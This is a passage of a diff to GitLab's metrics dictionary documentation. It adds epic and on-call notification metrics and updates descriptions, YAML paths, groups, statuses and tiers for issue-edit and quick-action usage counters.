`redis_hll_counters.epics_usage.g_project_management_users_updating_epic_titles_monthly` + +Counts of MAU changing epic titles + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312101935_g_project_management_users_updating_epic_titles_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_titles_weekly` + +Counts of WAU changing epic titles + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312101826_g_project_management_users_updating_epic_titles_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_updating_fixed_epic_due_date_monthly` + +Counts of MAU manually updating fixed due date + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210329043548_g_project_management_users_updating_fixed_epic_due_date_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_updating_fixed_epic_due_date_weekly` + +Counts of WAU manually updating fixed due date + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210329042536_g_project_management_users_updating_fixed_epic_due_date_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_updating_fixed_epic_start_date_monthly` + +Counts of MAU manually updating fixed start date + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210329043509_g_project_management_users_updating_fixed_epic_start_date_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_updating_fixed_epic_start_date_weekly` + +Counts of WAU manually updating fixed start date + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210329043402_g_project_management_users_updating_fixed_epic_start_date_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + ### `redis_hll_counters.ide_edit.g_edit_by_sfe_monthly` Missing description @@ -9932,6 +10472,30 @@ Status: `data_available` Tiers: +### `redis_hll_counters.incident_management.i_incident_management_oncall_notification_sent_monthly` + +Count of unique users to receive a notification while on-call + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210405222005_i_incident_management_oncall_notification_sent_monthly.yml) + +Group: `group::monitor` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.incident_management.i_incident_management_oncall_notification_sent_weekly` + +Count of unique users to receive a notification while on-call + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210405220139_i_incident_management_oncall_notification_sent_weekly.yml) + +Group: `group::monitor` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + ### `redis_hll_counters.incident_management.incident_management_alert_assigned_monthly` Missing description @@ -10320,13 +10884,13 @@ Tiers: Count of MAU adding an issue to an epic -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181414_g_project_management_issue_added_to_epic_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181414_g_project_management_issue_added_to_epic_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_added_to_epic_weekly` @@ -10338,43 +10902,43 @@ Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_assignee_changed_monthly` Count of MAU changing issue assignees -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_assignee_changed_weekly` Count of WAU changing issue assignees -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_changed_epic_monthly` Count of MAU changing the epic on an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181420_g_project_management_issue_changed_epic_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181420_g_project_management_issue_changed_epic_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_changed_epic_weekly` @@ -10386,11 +10950,11 @@ Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_cloned_monthly` -Missing description +Count of MAU cloning an issue [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181501_g_project_management_issue_cloned_monthly.yml) @@ -10398,19 +10962,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_cloned_weekly` -Missing description +Count of WAU cloning an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_closed_monthly` @@ -10422,19 +10986,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_closed_weekly` Count of WAU closing an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_comment_added_monthly` @@ -10446,19 +11010,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_comment_added_weekly` Count of WAU commenting on an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_comment_edited_monthly` @@ -10470,19 +11034,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_comment_edited_weekly` Count of WAU editing a comment on an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_comment_removed_monthly` @@ -10494,19 +11058,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_comment_removed_weekly` Count of WAU deleting a comment from an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_created_monthly` @@ -10518,19 +11082,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_created_weekly` Count of WAU creating issues -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_cross_referenced_monthly` @@ -10542,19 +11106,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_cross_referenced_weekly` -Count of WAU referncing an issue from somewhere else +Count of WAU referencing an issue from somewhere else -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_description_changed_monthly` @@ -10566,19 +11130,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_description_changed_weekly` Count of WAU editing an issue description -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_designs_added_monthly` @@ -10590,19 +11154,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_designs_added_weekly` Count of WAU adding a design to an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_designs_modified_monthly` @@ -10614,19 +11178,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_designs_modified_weekly` Count of WAU modifying a design on an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_designs_removed_monthly` @@ -10638,19 +11202,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_designs_removed_weekly` Count of WAU removing a design from an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_due_date_changed_monthly` @@ -10662,31 +11226,31 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_due_date_changed_weekly` Count of WAU changing an issue due date -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_health_status_changed_monthly` Count of MAU changing the health status on an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181457_g_project_management_issue_health_status_changed_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181457_g_project_management_issue_health_status_changed_monthly.yml) -Group: `group::project management` +Group: `group::product planning` Status: `data_available` -Tiers: `free` +Tiers: `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_health_status_changed_weekly` @@ -10694,23 +11258,23 @@ Count of WAU changing the health status on an issue [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181455_g_project_management_issue_health_status_changed_weekly.yml) -Group: `group::project management` +Group: `group::product planning` Status: `data_available` -Tiers: +Tiers: `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_iteration_changed_monthly` Count of MAU changing an issue's iteration -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181341_g_project_management_issue_iteration_changed_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181341_g_project_management_issue_iteration_changed_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_iteration_changed_weekly` @@ -10722,7 +11286,7 @@ Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_label_changed_monthly` @@ -10734,19 +11298,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_label_changed_weekly` Count of WAU changing an issue's label -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_locked_monthly` @@ -10758,19 +11322,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_locked_weekly` Count of WAU locking an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_made_confidential_monthly` @@ -10782,19 +11346,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_made_confidential_weekly` Count of WAU making an issue confidential -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_made_visible_monthly` @@ -10806,19 +11370,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_made_visible_weekly` Count of WAU making an issue not confidential -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_marked_as_duplicate_monthly` @@ -10830,19 +11394,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_marked_as_duplicate_weekly` Count of WAU marking an issue as a duplicate -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_milestone_changed_monthly` @@ -10854,19 +11418,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_milestone_changed_weekly` Count of WAU changing an issue's milestone -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_moved_monthly` @@ -10878,19 +11442,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_moved_weekly` Count of WAU moving an issue to another project -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_related_monthly` @@ -10902,31 +11466,31 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_related_weekly` Count of WAU relating an issue to another issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_removed_from_epic_monthly` Count of MAU removing an issue from an epic -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181416_g_project_management_issue_removed_from_epic_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181416_g_project_management_issue_removed_from_epic_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_removed_from_epic_weekly` @@ -10950,19 +11514,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_reopened_weekly` Count of WAU re-opening a closed issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_time_estimate_changed_monthly` @@ -10974,19 +11538,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_time_estimate_changed_weekly` Count of WAU changing an issue time estimate -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_time_spent_changed_monthly` @@ -10998,19 +11562,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_time_spent_changed_weekly` Count of WAU recording time spent on an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_title_changed_monthly` @@ -11022,11 +11586,11 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_title_changed_weekly` -Distinct users count that changed issue title in a group for last recent week +Count of WAU editing an issue title [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210201124931_g_project_management_issue_title_changed_weekly.yml) @@ -11038,7 +11602,7 @@ Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_unlocked_monthly` -Count of MAU marking an issue as blocked or blocked by +Count of MAU unlocking an issue [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181411_g_project_management_issue_unlocked_monthly.yml) @@ -11046,19 +11610,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_unlocked_weekly` -Count of WAU marking an issue as blocked or blocked by +Count of WAU unlocking an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_unrelated_monthly` @@ -11070,31 +11634,31 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_unrelated_weekly` Count of WAU unrelating an issue to another issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_weight_changed_monthly` Count of MAU changing an issue's weight -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181345_g_project_management_issue_weight_changed_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181345_g_project_management_issue_weight_changed_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.issues_edit.g_project_management_issue_weight_changed_weekly` @@ -11106,11 +11670,11 @@ Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.issues_edit.issues_edit_total_unique_counts_monthly` -Count of MAU taking an action related to an issue +Aggregate count of MAU taking an action related to an issue [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181504_issues_edit_total_unique_counts_monthly.yml) @@ -11118,19 +11682,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.issues_edit.issues_edit_total_unique_counts_weekly` -Count of WAU taking an action related to an issue +Aggregate count of WAU taking an action related to an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly` @@ -11164,7 +11728,7 @@ Monthly unique user count having merge requests which contains the CI config fil Group: `group::pipeline authoring` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -11176,49 +11740,49 @@ Weekly unique user count having merge requests which contains the CI config file Group: `group::pipeline authoring` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_approve_monthly` -Missing description +Count of MAU using the `/approve` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml) -Group: `group::project management` +Group: `group::code review` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_approve_weekly` -Missing description +Count of WAU using the `/approve` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml) -Group: `group::project management` +Group: `group::code review` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_assign_multiple_monthly` -Missing description +Count of MAU using the `/assign @user1 @user2` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181516_i_quickactions_assign_multiple_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181516_i_quickactions_assign_multiple_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_assign_multiple_weekly` -Missing description +Count of WAU using the `/assign @user1 @user2` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181514_i_quickactions_assign_multiple_weekly.yml) @@ -11226,35 +11790,35 